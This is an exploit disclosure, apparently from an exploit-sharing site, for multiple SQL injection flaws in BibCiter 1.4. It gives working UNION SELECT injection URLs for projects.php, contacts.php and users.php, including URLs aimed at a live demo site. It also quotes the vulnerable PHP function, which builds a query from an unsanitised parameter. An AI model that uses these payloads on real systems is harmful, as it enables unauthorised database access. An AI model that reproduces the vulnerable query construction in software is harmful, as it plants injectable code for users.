BibCiter 1.4 Multiple SQL Injection Vulnerabilities

===================================================
BibCiter 1.4 Multiple SQL Injection Vulnerabilities
===================================================



#BibCiter 1.4 Multiple SQL Injection Vulnerability


#Author: nuclear


#site:
http://bibciter.sourceforge.net/


#vuln:
http://localhost/[path]/projects.php?idp=-721) UNION SELECT @@version%23
http://localhost/[path]/contacts.php?idc=-1) UNION SELECT @@version%23
http://localhost/[path]/users.php?idu=-1) UNION SELECT @@version%23


#demo:
http://bibciter.net/demo/reports/projects.php?idp=-721)%20UNION%20SELECT%[email protected]@version%23
http://bibciter.net/demo/reports/contacts.php?idc=-1)%20UNION%20SELECT%[email protected]@version%23
http://bibciter.net/demo/reports/users.php?idu=-1)%20UNION%20SELECT%[email protected]@version%23


#notes:
watch the title for your query results ^^


#description:
vulnerable function:

function get_vatitle($idregister,$idregistervalue,$nameregister,$tableregister,$pretitle) {
 $vartitle = "SELECT $nameregister FROM $tableregister WHERE ($idregister=$idregistervalue)";
 $vartitle = mysql_query($vartitle) or die("error functions_queries line 4");
 $vartitle = mysql_fetch_array($vartitle);
 extract($vartitle);
 $title = $pretitle." » ".$$nameregister;
 return $title;
}

called in these files:
projects.php;contacts.php;users.php;types_authors.php;bibliographies.php;types_projects.php;
types_languages.php;types_countries.php;




#  0day.today [2018-03-31]  #